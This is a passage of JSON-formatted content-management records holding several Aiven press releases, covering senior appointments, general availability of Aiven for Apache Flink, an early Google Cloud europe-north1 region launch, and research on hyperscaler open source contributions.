region."}],"markDefs":[{"_key":"03843b60e050","_type":"link","href":"https://aiven.io/press/aiven-expands-into-asia-pacific-region-with-new-vp-leading-growth-plans"}],"style":"normal"},{"_key":"240029606bd2","_type":"block","children":[{"_key":"0c180dfe07020","_type":"span","marks":[],"text":"\n\n"}],"markDefs":[],"style":"normal"},{"_key":"1d4b0fb5ce24","_type":"block","children":[{"_key":"2f69d7d772040","_type":"span","marks":[],"text":"To learn more about Aiven, please visit "},{"_key":"2f69d7d772041","_type":"span","marks":["885620e06fda"],"text":"https://aiven.io/"}],"markDefs":[{"_key":"885620e06fda","_type":"link","href":"https://aiven.io/"}],"style":"normal"},{"_key":"aa3e536f9b18","_type":"block","children":[{"_key":"3694457b03680","_type":"span","marks":[],"text":"Free Trial "},{"_key":"3694457b03681","_type":"span","marks":["8cd36391df67"],"text":"https://console.aiven.io/signup"}],"markDefs":[{"_key":"8cd36391df67","_type":"link","href":"https://console.aiven.io/signup"}],"style":"normal"},{"_key":"e3b3216e5719","_type":"block","children":[{"_key":"3b04947ee2830","_type":"span","marks":[],"text":"\n\n"}],"markDefs":[],"style":"normal"},{"_key":"2c295dd05ae8","_type":"block","children":[{"_key":"7998259693450","_type":"span","marks":[],"text":"###"}],"markDefs":[],"style":"normal"},{"_key":"5a45f6f62370","_type":"block","children":[{"_key":"abac34818c6c0","_type":"span","marks":["strong"],"text":"About Aiven"}],"markDefs":[],"style":"normal"},{"_key":"d33998354b9e","_type":"block","children":[{"_key":"252da320d08d0","_type":"span","marks":[],"text":"Headquartered in Helsinki and with hubs in Berlin, Boston, Paris, Singapore, Sydney, Tokyo, and Toronto, Aiven provides managed open source data technologies, like PostgreSQL, Apache Kafka and OpenSearch, on all major clouds. Through Aiven, developers can do what they do best: create applications. Meanwhile, Aiven does what they do best: manage cloud data infrastructure. Aiven enables customers to drive business results from open source that trigger true transformations far beyond their own backyard. Most recently, Aiven achieved a $3B valuation and has now raised $420M total funding backed by its investors Atomico, Earlybird, Eurazeo, IVP, Lifeline, Salesforce Ventures, and World Innovation Lab."}],"markDefs":[],"style":"normal"},{"_key":"013219daf0ab","_type":"block","children":[{"_key":"60dacee87eaf0","_type":"span","marks":[],"text":"\nTo learn more about Aiven, visit "},{"_key":"c1d53cad98e11","_type":"span","marks":["178e209f05cf"],"text":"aiven.io"},{"_key":"c1d53cad98e12","_type":"span","marks":[],"text":" and follow "},{"_key":"c1d53cad98e13","_type":"span","marks":["a2c924957c47"],"text":"@aiven_io"},{"_key":"c1d53cad98e14","_type":"span","marks":[],"text":" on Twitter."}],"markDefs":[{"_key":"178e209f05cf","_type":"link","href":"https://aiven.io/"},{"_key":"a2c924957c47","_type":"link","href":"https://twitter.com/aiven_io"}],"style":"normal"},{"_key":"61fd620ec6e3","_type":"block","children":[{"_key":"f888271e71680","_type":"span","marks":[],"text":"\n"}],"markDefs":[],"style":"normal"},{"_key":"ded9dab4f238","_type":"block","children":[{"_key":"8510db5b12830","_type":"span","marks":["strong"],"text":"Media Contacts:"}],"markDefs":[],"style":"normal"},{"_key":"bd3d7b592fba","_type":"block","children":[{"_key":"a66902972ff8","_type":"span","marks":[],"text":"Aiven"}],"markDefs":[],"style":"normal"},{"_key":"6681226ec033","_type":"block","children":[{"_key":"489a8190315d","_type":"span","marks":[],"text":"Ting Ong "}],"markDefs":[],"style":"normal"},{"_key":"1cf03afab767","_type":"block","children":[{"_key":"3694536676a20","_type":"span","marks":["37d184f4c6c1"],"text":"press@aiven.io"}],"markDefs":[{"_key":"37d184f4c6c1","_type":"link","href":"mailto:press@aiven.io"}],"style":"normal"},{"_key":"f730df1ffea0","_type":"block","children":[{"_key":"2a7c655bf6680","_type":"span","marks":[],"text":"\n"}],"markDefs":[],"style":"normal"}],"publishedAt":"2022-11-29T08:01:00.000Z","seo":{"_type":"metaData","metaDescription":"Appointments aligned with company mission to make developers’ lives better, developing new platform capabilities, \u0026 solidifying commitment to sustainability. ","metaImage":{"_type":"mainImage","asset":{"_ref":"image-80a23649d2ce63ce773173b9009e9f21b749c765-1500x1179-png","_type":"reference"}},"metaTitle":"Aiven boosts leadership team with senior appointments"},"slug":{"_type":"slug","current":"/press/aiven-boosts-leadership-team-with-slew-of-new-senior-appointments"},"subtitle":"Senior appointments aligned with the company mission of making developers’ lives better, focus on developing new platform capabilities, and solidifying its commitment to sustainability. \n","title":"Aiven boosts leadership team with slew of new senior appointments "} {"__i18n_lang":"en","_createdAt":"2023-02-06T04:26:56Z","_id":"c5de8ef5-bf4a-4228-bba3-b74509e0006f","_rev":"iop8tFFqgfe67JrEbvJqEP","_type":"pressRelease","_updatedAt":"2023-02-06T07:27:24Z","content":[{"_key":"3b75c4c2f1c6","_type":"block","children":[{"_key":"1cac685f4f8d0","_type":"span","marks":["strong"],"text":"HELSINKI, Finland"},{"_key":"1cac685f4f8d1","_type":"span","marks":[],"text":" — "},{"_key":"1cac685f4f8d2","_type":"span","marks":["strong"],"text":"February 8, 2023"},{"_key":"1cac685f4f8d3","_type":"span","marks":[],"text":" — "},{"_key":"1cac685f4f8d4","_type":"span","marks":["9e9a9c46c182"],"text":"Aiven"},{"_key":"1cac685f4f8d5","_type":"span","marks":[],"text":", the open source cloud data platform, announced today that its fully-managed service, "},{"_key":"1cac685f4f8d6","_type":"span","marks":["af1d817ddc0c"],"text":"Aiven for Apache Flink"},{"_key":"1cac685f4f8d7","_type":"span","marks":["af1d817ddc0c","em"],"text":"®"},{"_key":"1cac685f4f8d8","_type":"span","marks":[],"text":", is now generally available, delivering the first managed service for Apache Flink® that can be deployed in the cloud of your choice including all three major cloud service providers, AWS, Google Cloud and Microsoft Azure."}],"markDefs":[{"_key":"9e9a9c46c182","_type":"link","href":"https://aiven.io/"},{"_key":"af1d817ddc0c","_type":"link","href":"https://aiven.io/flink"}],"style":"normal"},{"_key":"dfb330fac902","_type":"block","children":[{"_key":"ad1e10f9423b0","_type":"span","marks":[],"text":"\n"}],"markDefs":[],"style":"normal"},{"_key":"9d3fb41fa100","_type":"block","children":[{"_key":"4dbbd63631290","_type":"span","marks":[],"text":"Over the past year, the ability for companies to analyze data in real time has transformed from a ‘nice-to-have’, to a ‘must-have’ tool to provide rich and contextual experiences to their customers and end users while staying ahead of the competition. With the addition of Aiven for Apache Flink, Aiven now offers a complete open source streaming ecosystem complementing and integrating with Aiven for Apache Kafka® to satisfy most real time data application scenarios and bring a robust, scalable and production-grade streaming infrastructure to the cloud of your choice."}],"markDefs":[],"style":"normal"},{"_key":"c1ae1180f713","_type":"block","children":[{"_key":"92a0b9e778a60","_type":"span","marks":[],"text":"\n"}],"markDefs":[],"style":"normal"},{"_key":"0eb2b241c440","_type":"block","children":[{"_key":"dbc46c117e6e0","_type":"span","marks":[],"text":"“Having a production-grade Apache Flink offering is a game changer for real-time data processing use cases, driving business insights. Aiven for Apache Flink enables developer productivity with the best open source technologies and makes developers’ lives easier.” said Jonah Kowall, Vice President of Product Management at Aiven. “Aiven for Apache Flink is the glue and intelligence tying together our platform capabilities between Apache Kafka"},{"_key":"dbc46c117e6e1","_type":"span","marks":["em"],"text":"®"},{"_key":"dbc46c117e6e2","_type":"span","marks":[],"text":" along with popular databases such as PostgreSQL, OpenSearch, and more integrations coming every week. Our experience brings a cloud streaming data infrastructure that is resilient, scalable and can be easily migrated and managed across cloud vendors through the Aiven console. I am very excited about what the future of this service holds for our customers and the stream processing market in general, as more organizations harness the power of real-time data processing”."}],"markDefs":[],"style":"normal"},{"_key":"578e676a6944","_type":"block","children":[{"_key":"a4ffa8e486050","_type":"span","marks":[],"text":"\n"}],"markDefs":[],"style":"normal"},{"_key":"9e50da037d7d","_type":"block","children":[{"_key":"414391862c1d0","_type":"span","marks":[],"text":"Aiven for Apache Flink provides value to customers through a focus on delivering: "}],"markDefs":[],"style":"normal"},{"_key":"aa7c89e8f212","_type":"block","children":[{"_key":"8b90f79d1f320","_type":"span","marks":["strong"],"text":"An Apache Flink service deployed in the cloud of your choice:"},{"_key":"8b90f79d1f321","_type":"span","marks":[],"text":" Aiven’s fully managed service for Apache Flink allows easy distribution of Flink clusters across multiple cloud vendors, including all three major hyper scalers, AWS, Google Cloud and Microsoft Azure."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"e8885c47c5f1","_type":"block","children":[{"_key":"87a3f0a452730","_type":"span","marks":[],"text":"\n"}],"markDefs":[],"style":"normal"},{"_key":"df80a46bfcf9","_type":"block","children":[{"_key":"110826b041390","_type":"span","marks":["strong"],"text":"A self-service, SQL first developer experience for Apache Flink:"},{"_key":"110826b041391","_type":"span","marks":[],"text":" In Aiven for Apache Flink, we bring Flink SQL to the next level by introducing a redesigned interface allowing developers to build unified, robust, and scalable event-driven applications and streaming analytics with your organization’s real-time data. Flink SQL is highly efficient and allows for faster and more efficient data pipeline prototyping, validation, and deployment, which ultimately leads to faster time-to-market for a wide range of applications."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"5a598d3185be","_type":"block","children":[{"_key":"fc20719e13ef0","_type":"span","marks":[],"text":"\n"}],"markDefs":[],"style":"normal"},{"_key":"57b403e6dd5d","_type":"block","children":[{"_key":"92188d1295250","_type":"span","marks":["strong"],"text":"All the benefits of Apache Flink without the operational overhead:"},{"_key":"92188d1295251","_type":"span","marks":[],"text":" Aiven for Apache Flink brings a fully managed, resilient, and production-grade service for Apache Flink allowing developers to build streaming applications instead of worrying about any maintenance and operational activities. Scaling up or down your clusters, or gracefully shutting down your Flink jobs is now greatly automated through the Aiven console. Aiven for Apache Flink, also supports automatic versioning of and previewing the resulting pipeline output for your Flink applications for easier quality checks and application deployment lifecycle."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"6c0b22e3724b","_type":"block","children":[{"_key":"e28a214a83860","_type":"span","marks":[],"text":"\n"}],"markDefs":[],"style":"normal"},{"_key":"cbab0d255146","_type":"block","children":[{"_key":"0bf4f314557f0","_type":"span","marks":[],"text":"Apache Flink is the foundational stream processing technology for the Aiven platform, managed and controlled by the Aiven console, API and CLI to drive programmatic stream processing at scale. This not only complements Aiven’s open source streaming ecosystem for Apache Kafka but also gets Aiven a step closer to providing a cloud data platform that can  ease the integration and processing of real-time data for developers and data engineers. With Aiven’s open source streaming ecosystem, managed database and observability technologies, Aiven now offers a cloud data platform ready to harness the demands of the modern technology organization."}],"markDefs":[],"style":"normal"},{"_key":"75a0345686f4","_type":"block","children":[{"_key":"e292c1fe1d130","_type":"span","marks":[],"text":"\n"}],"markDefs":[],"style":"normal"},{"_key":"d892a691bf13","_type":"block","children":[{"_key":"20ccf8ed90410","_type":"span","marks":[],"text":"To learn more about Aiven for Apache Flink, please visit "},{"_key":"20ccf8ed90411","_type":"span","marks":["33d5d28604c8"],"text":"https://aiven.io/flink"},{"_key":"20ccf8ed90412","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"33d5d28604c8","_type":"link","href":"https://aiven.io/flink"}],"style":"normal"},{"_key":"32cabd6192d2","_type":"block","children":[{"_key":"6367741e44950","_type":"span","marks":[],"text":"\n"}],"markDefs":[],"style":"normal"},{"_key":"610c7171fc88","_type":"block","children":[{"_key":"4254f38e149f0","_type":"span","marks":["strong"],"text":"Additional Resources"}],"markDefs":[],"style":"normal"},{"_key":"3fa47390d311","_type":"block","children":[{"_key":"5bfd21ea50d70","_type":"span","marks":[],"text":"\n"}],"markDefs":[],"style":"normal"},{"_key":"4e226d11db6a","_type":"block","children":[{"_key":"0a09fea413570","_type":"span","marks":[],"text":"Read more about our "},{"_key":"0a09fea413571","_type":"span","marks":["98348c31cef2"],"text":"open source streaming ecosystem for Apache Kafka"},{"_key":"0a09fea413572","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"98348c31cef2","_type":"link","href":"https://aiven.io/press/aiven-introduces-an-open-source-streaming-ecosystem-for-apache-kafka"}],"style":"normal"},{"_key":"8b848a99f1aa","_type":"block","children":[{"_key":"78b4925949170","_type":"span","marks":[],"text":"\n"}],"markDefs":[],"style":"normal"},{"_key":"86e4d1ff2b8d","_type":"block","children":[{"_key":"eb2a40c869020","_type":"span","marks":[],"text":"Learn more about our "},{"_key":"eb2a40c869021","_type":"span","marks":["14106f3aea22"],"text":"Apache Kafka portfolio"},{"_key":"eb2a40c869022","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"14106f3aea22","_type":"link","href":"https://aiven.io/kafka"}],"style":"normal"},{"_key":"268043269d59","_type":"block","children":[{"_key":"894548a14b3b0","_type":"span","marks":[],"text":"\n\n"}],"markDefs":[],"style":"normal"},{"_key":"2fb66ae986f4","_type":"block","children":[{"_key":"b243e9ae8acb0","_type":"span","marks":[],"text":" ###"}],"markDefs":[],"style":"normal"},{"_key":"d6ae4b1abf5e","_type":"block","children":[{"_key":"536f5cc716a40","_type":"span","marks":["strong"],"text":"About Aiven"}],"markDefs":[],"style":"normal"},{"_key":"da0892995bce","_type":"block","children":[{"_key":"1d0e21891ee90","_type":"span","marks":[],"text":"Headquartered in Helsinki and with hubs in Amsterdam, Berlin, Boston, Paris, Singapore, Sydney, Tokyo, and Toronto. Aiven provides managed open source data technologies, such as PostgreSQL®, Apache Kafka® and OpenSearch®, on all major clouds. Through Aiven, developers can do what they do best: create applications. Meanwhile, Aiven does what they do best: manage cloud data infrastructure. Aiven enables customers to drive business results from open source data technologies that trigger true transformations on a global scale. Most recently, Aiven achieved a $3B valuation and has now raised $420M total funding backed by its investors Atomico, Earlybird, Eurazeo, IVP, Lifeline, Salesforce Ventures, and World Innovation Lab."}],"markDefs":[],"style":"normal"},{"_key":"c1ff889378bf","_type":"block","children":[{"_key":"35278b612a8f0","_type":"span","marks":[],"text":"\n"}],"markDefs":[],"style":"normal"},{"_key":"5684ec44597d","_type":"block","children":[{"_key":"56e3b0ce897c0","_type":"span","marks":[],"text":"To learn more about Aiven, visit aiven.io and follow @aiven_io on Twitter."}],"markDefs":[],"style":"normal"},{"_key":"835fcf8343a5","_type":"block","children":[{"_key":"cb539de6c16c0","_type":"span","marks":[],"text":"\n\n"}],"markDefs":[],"style":"normal"},{"_key":"563c789b3851","_type":"block","children":[{"_key":"a7313576f6e70","_type":"span","marks":["strong"],"text":"Media Contacts"}],"markDefs":[],"style":"normal"},{"_key":"5f8b868d1aa6","_type":"block","children":[{"_key":"8dd83433dec00","_type":"span","marks":[],"text":"Walker Sands"}],"markDefs":[],"style":"normal"},{"_key":"0363bda01bf9","_type":"block","children":[{"_key":"6a573b628c200","_type":"span","marks":[],"text":"Molly Leahy"}],"markDefs":[],"style":"normal"},{"_key":"33d608a293e0","_type":"block","children":[{"_key":"0bb51badb61f0","_type":"span","marks":["c668888bc070"],"text":"molly.leahy@walkersands.com"}],"markDefs":[{"_key":"c668888bc070","_type":"link","href":"mailto:molly.leahy@walkersands.com"}],"style":"normal"},{"_key":"4824c79a88d6","_type":"block","children":[{"_key":"1ef8d3f90ec40","_type":"span","marks":[],"text":"\n"}],"markDefs":[],"style":"normal"},{"_key":"ddfe679d37ef","_type":"block","children":[{"_key":"a2cd60e3d2ed0","_type":"span","marks":[],"text":"Aiven"}],"markDefs":[],"style":"normal"},{"_key":"7fdd4be53d5b","_type":"block","children":[{"_key":"53e9d4b47cdf0","_type":"span","marks":[],"text":"Emma Paajanen"}],"markDefs":[],"style":"normal"},{"_key":"8bff7e60c78a","_type":"block","children":[{"_key":"4bb07909ea5e0","_type":"span","marks":["e683951db5c4"],"text":"press@aiven.io"}],"markDefs":[{"_key":"e683951db5c4","_type":"link","href":"mailto:press@aiven.io"}],"style":"normal"},{"_key":"800d3a17cdfd","_type":"block","children":[{"_key":"96ec836d25730","_type":"span","marks":[],"text":"\n"}],"markDefs":[],"style":"normal"},{"_key":"806757941fc8","_type":"block","children":[{"_key":"d8e94b29df610","_type":"span","marks":["em"],"text":"Apache® and Apache Kafka® Kafka, Apache Flink®, Flink are either registered trademarks or trademarks of the Apache Software Foundation in the United States and/or other countries. No endorsement by the Apache Software Foundation is implied by the use of these marks. All other trademarks are the property of their respective owners"},{"_key":"d8e94b29df611","_type":"span","marks":[],"text":"."}],"markDefs":[],"style":"normal"},{"_key":"660647102618","_type":"block","children":[{"_key":"f2ab4cb9a8be0","_type":"span","marks":[],"text":"\n\n"}],"markDefs":[],"style":"normal"}],"publishedAt":"2023-02-08T13:00:00.000Z","seo":{"_type":"metaData","metaTitle":"Aiven's Apache Flink is now generally available"},"slug":{"_type":"slug","current":"/press/aiven-open-source-streaming-ecosystem-innovation-for-apache-flink"},"subtitle":"Apache Flink® service enables enterprises and developers to process streaming data in real time and deploy their fully managed Flink applications in the cloud of their choice\n","title":"Aiven continues open source streaming ecosystem innovation with general availability for Aiven for Apache Flink®"} {"__i18n_lang":"en","_createdAt":"2022-06-17T22:42:59Z","_id":"60qMORimm7f4E9Iqnd45nE","_rev":"v53ZsDDD1bdWz9EKVijQML","_type":"pressRelease","_updatedAt":"2022-12-01T15:37:39Z","body":"__Helsinki, Finland__\n\nOn June 18th, Google Cloud Platform (GCP) released its latest cloud region, europe-north1, located in Hamina, Finland. The primary purpose of the 3-zone region is to decrease end-user latency in the Nordics and Eastern Europe.\n\nGCP end-users include those using Google services, such as Cloud SQL, as well as those using services from Google Cloud partners. One partner is Aiven, an ISO 27001 certified Database-as-a-Service company.\n\nOn June 19th, one day after Google’s release of europe-north1, Aiven became the first partner to offer production-ready database services in the region, marking their their 16th GCP region.\n\nAiven’s CTO, Heikki Nousiainen, believes one of their core competencies is making newly released regions available for their customers as quickly as possible, and that doing so is one of their competitive advantages, \"We're fully committed to and also uniquely capable of meeting our customers’ requirements on running workloads in any location of their choosing, whether they select a cloud region for latency, performance or regulatory reasons. Quickly providing the newest Google Cloud Platform region was a logical continuation of this promise: this specific region is especially well suited for our customers to address the Nordic and Eastern European markets.\"\n\nAs with other GCP regions, Aiven offers open-source PostgreSQL, Apache Kafka and Cassandra, OpenSearch, Redis, InfluxDB, and Grafana—most of which can be used alone or in an integrated manner.\n\n__About Aiven__\n\nHeadquartered in Helsinki, Finland and with offices in Boston, MA, Aiven is an ISO 27001 certified Database-as-a-Service provider, operating managed open-source database, messenger, cache, search, and graphing solutions to over 300 customers worldwide.\n\nYou can visit [https://aiven.io](https://aiven.io) for more information or follow Aiven on Twitter: [@aiven_io](https://twitter.com/aiven_io).","content":[{"_key":"Kc9Q2CtG","_type":"block","children":[{"_key":"uU6ifEF5","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"x0uYhEzw","_type":"block","children":[{"_key":"72a967f375be","_type":"span","marks":["strong"],"text":"HELSINKI, Finland — June 19, 2018- "},{"_key":"ToAZElzf","_type":"span","marks":[],"text":"On June 18th, Google Cloud Platform (GCP) released its latest cloud region, europe-north1, located in Hamina, Finland. The primary purpose of the 3-zone region is to decrease end-user latency in the Nordics and Eastern Europe."}],"markDefs":[],"style":"normal"},{"_key":"8yKjTAH0","_type":"block","children":[{"_key":"2jSakKiq","_type":"span","marks":[],"text":"GCP end-users include those using Google services, such as Cloud SQL, as well as those using services from Google Cloud partners. One partner is Aiven, an ISO 27001 certified Database-as-a-Service company."}],"markDefs":[],"style":"normal"},{"_key":"W0IvEZIL","_type":"block","children":[{"_key":"WIQnyUdY","_type":"span","marks":[],"text":"On June 19th, one day after Google’s release of europe-north1, Aiven became the first partner to offer production-ready database services in the region, marking their their 16th GCP region."}],"markDefs":[],"style":"normal"},{"_key":"6oYmvfhB","_type":"block","children":[{"_key":"fna9SEzG","_type":"span","marks":[],"text":"Aiven’s CTO, Heikki Nousiainen, believes one of their core competencies is making newly released regions available for their customers as quickly as possible, and that doing so is one of their competitive advantages, \"We're fully committed to and also uniquely capable of meeting our customers’ requirements on running workloads in any location of their choosing, whether they select a cloud region for latency, performance or regulatory reasons. Quickly providing the newest Google Cloud Platform region was a logical continuation of this promise: this specific region is especially well suited for our customers to address the Nordic and Eastern European markets.\""}],"markDefs":[],"style":"normal"},{"_key":"6NUmQZBa","_type":"block","children":[{"_key":"8z5j1Uts","_type":"span","marks":[],"text":"As with other GCP regions, Aiven offers open-source PostgreSQL, Apache Kafka and Cassandra, OpenSearch, Redis, InfluxDB, and Grafana—most of which can be used alone or in an integrated manner."}],"markDefs":[],"style":"normal"},{"_key":"P98DUfzG","_type":"block","children":[{"_key":"zWtk4HBu","_type":"span","marks":["strong"],"text":"About Aiven"}],"markDefs":[],"style":"normal"},{"_key":"13dzKvf4","_type":"block","children":[{"_key":"yIGpEshp","_type":"span","marks":[],"text":"Headquartered in Helsinki, Finland and with offices in Boston, MA, Aiven is an ISO 27001 certified Database-as-a-Service provider, operating managed open-source database, messenger, cache, search, and graphing solutions to over 300 customers worldwide."}],"markDefs":[],"style":"normal"},{"_key":"fAj1XHB8","_type":"block","children":[{"_key":"kvdq65ZG","_type":"span","marks":[],"text":"You can visit "},{"_key":"XJNt038h","_type":"span","marks":["m3875742048231"],"text":"https://aiven.io"},{"_key":"IyO4qACU","_type":"span","marks":[],"text":" for more information or follow Aiven on Twitter: "},{"_key":"Ope8xjzC","_type":"span","marks":["m17467540486251"],"text":"@aiven_io"},{"_key":"wqznl5gO","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"m3875742048231","_type":"link","href":"https://aiven.io"},{"_key":"m17467540486251","_type":"link","href":"https://twitter.com/aiven_io"}],"style":"normal"}],"publishedAt":"2018-06-19T00:00:00.000Z","seo":{"metaDescription":"Aiven Press Release: In 2018, we became the first Google Cloud partner to offer managed services in GCP Europe-North. ","metaTitle":"Aiven the first Google Cloud partner in GCP Europe-North1"},"slug":{"_type":"slug","current":"/press/aiven-the-first-google-cloud-partner-in-gcp-europe-north1"},"subtitle":"Aiven Press Release: In 2018, we became the first Google Cloud partner to offer managed services in GCP Europe-North. ","title":"Aiven the first Google Cloud partner in GCP Europe-North1"} {"__i18n_lang":"en","_createdAt":"2022-09-08T16:12:00Z","_id":"6dxsD0CWLSHyXvPVCYnZMd","_rev":"E3MJ1tvkRvxse5neCcAgOb","_type":"pressRelease","_updatedAt":"2023-01-16T16:44:07Z","content":[{"_key":"emz7jTyx","_type":"block","children":[{"_key":"5be4952d6360","_type":"span","marks":[],"text":"The big three hyperscalers have significantly increased their commitment to open source in recent years measured by both the number of active contributors and the number of commits from each organisation, according to the latest GitHub analysis by Aiven"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"B8ybUS7Q","_type":"block","children":[{"_key":"Olf3lEod","_type":"span","marks":[],"text":"In July 2022, Google’s monthly commits to GitHub have surged 21% year-on-year and Google’s YTD active contributors to GitHub (5,421) overtook Microsoft’s contributions (5,258)"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"yE795Oe7","_type":"block","children":[{"_key":"2SrhaI8l","_type":"span","marks":[],"text":"Microsoft and Google continue to be the top two leading corporate contributors to Open Source Software (OSS). Amazon remains some way behind but is rapidly increasing its commitment to OSS"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"ULcbceOP","_type":"block","children":[{"_key":"69ddbc27c6e2","_type":"span","marks":["strong"],"text":"HELSINKI, Finland — August 9, 2022–"},{"_key":"idBRD8gt","_type":"span","marks":[],"text":" Amazon, Microsoft, and Google are getting more employees involved in open source than ever before according to new analysis by Aiven, a software company that combines open source technologies with cloud infrastructure."}],"markDefs":[],"style":"normal"},{"_key":"Y52B10Mk","_type":"block","children":[{"_key":"9bDest6H","_type":"span","marks":[],"text":"Aiven’s analysis of data from GitHub, the repository hosting service, which is the de facto home of open source, found the total number of active contributors to GitHub from Amazon, Microsoft, and Google has increased by 300% in six years – from 2,654 contributors in May 2016 to 10,549 in May 2022."}],"markDefs":[],"style":"normal"},{"_key":"rPloPw1P","_type":"block","children":[{"_key":"NaD3t92U","_type":"span","marks":[],"text":"The research found that Google’s monthly commits to GitHub has surged 20% year-on-year and Google’s active contributors to GitHub (4,643) overtook Microsoft’s contributions (4,394) for the first time since records began in 2016."}],"markDefs":[],"style":"normal"},{"_key":"LnSBvQwj","_type":"block","children":[{"_key":"vbTJfKD9","_type":"span","marks":[],"text":"Over a third of Microsoft’s OSS contributions are in programming languages that are maintained by Microsoft. 38.8% of languages it uses are either PowerShell or C# - both originally developed by Microsoft. Google on the other hand prefers C++ and Java, and Amazon contributes in Python and Java."}],"markDefs":[],"style":"normal"},{"_key":"VGYpF9kp","_type":"block","children":[{"_key":"VnIrKw9k","_type":"span","marks":[],"text":"Delving deeper, Aiven’s research into commits - the submissions of new software patches to open source projects - has found that the number of commits to GitHub from Microsoft and Google is still behind its summer 2020 highs, although the difference between the two has dropped."}],"markDefs":[],"style":"normal"},{"_key":"QxLIZlLJ","_type":"block","children":[{"_key":"h2U5JUfS","_type":"span","marks":[],"text":"Amazon still lags behind its hyperscale competitors but is now backing large open source projects such as OpenSearch, a fork of ElasticSearch, and hosts a growing number of projects on its GitHub page (https://aws.github.io/)."}],"markDefs":[],"style":"normal"},{"_key":"XfsCkAjh","_type":"block","children":[{"_key":"jVzYYqGJ","_type":"span","marks":[],"text":"Heikki Nousiainen, Field CTO and Co-founder at Aiven, commented: “Our research shows that the hyperscalers are contributing more resources to open source. This is great news. As a community, open source software needs this sort of commitment from big tech to ensure that important projects are maintained and that vulnerabilities such as Log4Shell don’t happen again. More than this, it’s a better way to write clean, transparent, secure code."}],"markDefs":[],"style":"normal"},{"_key":"sOfZFhLn","_type":"block","children":[{"_key":"iotorj86","_type":"span","marks":[],"text":"“An unexpected result of our research was seeing Google overtake Microsoft in terms of the number of its staff contributing to open source software. Google has championed open source since its early days and recently announced its Assured Open Source Software service, reaffirming that commitment."}],"markDefs":[],"style":"normal"},{"_key":"BemkrHTr","_type":"block","children":[{"_key":"w06J0XQj","_type":"span","marks":[],"text":"“Google surpassing Microsoft is particularly surprising, as a factor in this has been a decline in Microsoft’s year-on-year commits to open source projects. However, Microsoft commitment to developer freedom and innovation is consistent, with the company being a major player in open source, and even purchasing GitHub in 2018. The switch is testament to the market increasingly looking to capitalise on open source software."}],"markDefs":[],"style":"normal"},{"_key":"TwqAaBUf","_type":"block","children":[{"_key":"ONcEXUK3","_type":"span","marks":[],"text":"“Amazon continues to accelerate its commitment to OSS. OpenSearch, its fork of ElasticSearch in 2020, showed a major change of direction for the company as it showed it was willing to lead a major open source initiative."}],"markDefs":[],"style":"normal"},{"_key":"64Jnh2aB","_type":"block","children":[{"_key":"tZHbD58T","_type":"span","marks":[],"text":"“The overall message of the research is positive. There’s a huge amount of innovation continuing to happen in the open source community and the results benefit us all. The hyperscalers are setting an example for others to follow.”"}],"markDefs":[],"style":"normal"},{"_key":"KCYqmH1K","_type":"block","children":[{"_key":"bTP3AUdF","_type":"span","marks":[],"text":"Note to editor:"}],"markDefs":[],"style":"normal"},{"_key":"5dGV35b3","_type":"block","children":[{"_key":"azovjVKw","_type":"span","marks":[],"text":"Total number of commits is calculated by analysis of the GitHub contributor archive data by corporate email address. It measures the number of commits in a month and uses Google Big Query to analyse public GitHub data."}],"markDefs":[],"style":"normal"},{"_key":"CfBRysyY","_type":"block","children":[{"_key":"5Q2worLN","_type":"span","marks":[],"text":"Number of contributors and top programming languages is measured by the Open Source Contributor Index, an open source project that tracks and measures open source activity on GitHub."}],"markDefs":[],"style":"normal"},{"_key":"S5DvNk9R","_type":"block","children":[{"_key":"W31o1qUP","_type":"span","marks":[],"text":"Hi-res charts: https://www.dropbox.com/s/eszhorw4fyw2drl/Graph-Growth%20of%20commits.png?dl=0"}],"markDefs":[],"style":"normal"},{"_key":"a7NqevkR","_type":"block","children":[{"_key":"FNiZwnui","_type":"span","marks":[],"text":"https://www.dropbox.com/s/lryghzz6uxtsfm2/Graph-Growth%20of%20contributors.png?dl=0"}],"markDefs":[],"style":"normal"},{"_key":"GIb3Ya2j","_type":"block","children":[{"_key":"uqouHC0i","_type":"span","marks":["strong"],"text":"About Aiven"}],"markDefs":[],"style":"normal"},{"_key":"BHOwR4vg","_type":"block","children":[{"_key":"S9cQEYak","_type":"span","marks":[],"text":"Headquartered in Helsinki and with hubs in Berlin, Boston, Paris, Singapore, Sydney and Toronto, Aiven provides managed open source data technologies, like PostgreSQL, Apache Kafka and OpenSearch, on all major clouds. Through Aiven, developers can do what they do best: create applications. Meanwhile, Aiven does what they do best: manage cloud data infrastructure. Aiven enables customers to drive business results from open source that trigger true transformations far beyond their own backyard. Most recently, Aiven achieved a $3B valuation and has now raised $420M total funding backed by its investors Atomico, Earlybird, Eurazeo, IVP, Lifeline, Salesforce Ventures, and World Innovation Lab. To learn more about Aiven, visit aiven.io and follow @aiven_io on Twitter."}],"markDefs":[],"style":"normal"},{"_key":"4spIpokL","_type":"block","children":[{"_key":"ANGmEP6K","_type":"span","marks":["strong"],"text":"Media Contacts"}],"markDefs":[],"style":"normal"},{"_key":"2VZ8OIjk","_type":"block","children":[{"_key":"F4yu8BAt","_type":"span","marks":[],"text":"Ruth Prieto Arenas, Communications Manager EMEA - press@aiven.io"}],"markDefs":[],"style":"normal"},{"_key":"Lx4zNBvt","_type":"block","children":[{"_key":"yVPm50ay","_type":"span","marks":[],"text":"Ting Ong, Communications Director EMEA \u0026 APAC - press@aiven.io"}],"markDefs":[],"style":"normal"}],"publishedAt":"2022-08-09T00:00:00.000Z","seo":{"_type":"metaData","metaDescription":"Google accelerates its contribution to open source as its active contributors overtake Microsoft","metaTitle":"Google accelerates contribution open source Microsoft"},"slug":{"_type":"slug","current":"/press/new-research-into-open-source:-google-accelerates"},"subtitle":"Google accelerates its contribution to open source as its active contributors overtake Microsoft","title":"New research into open source: Google accelerates its contribution to open source as its active contributors overtakes Microsoft"} 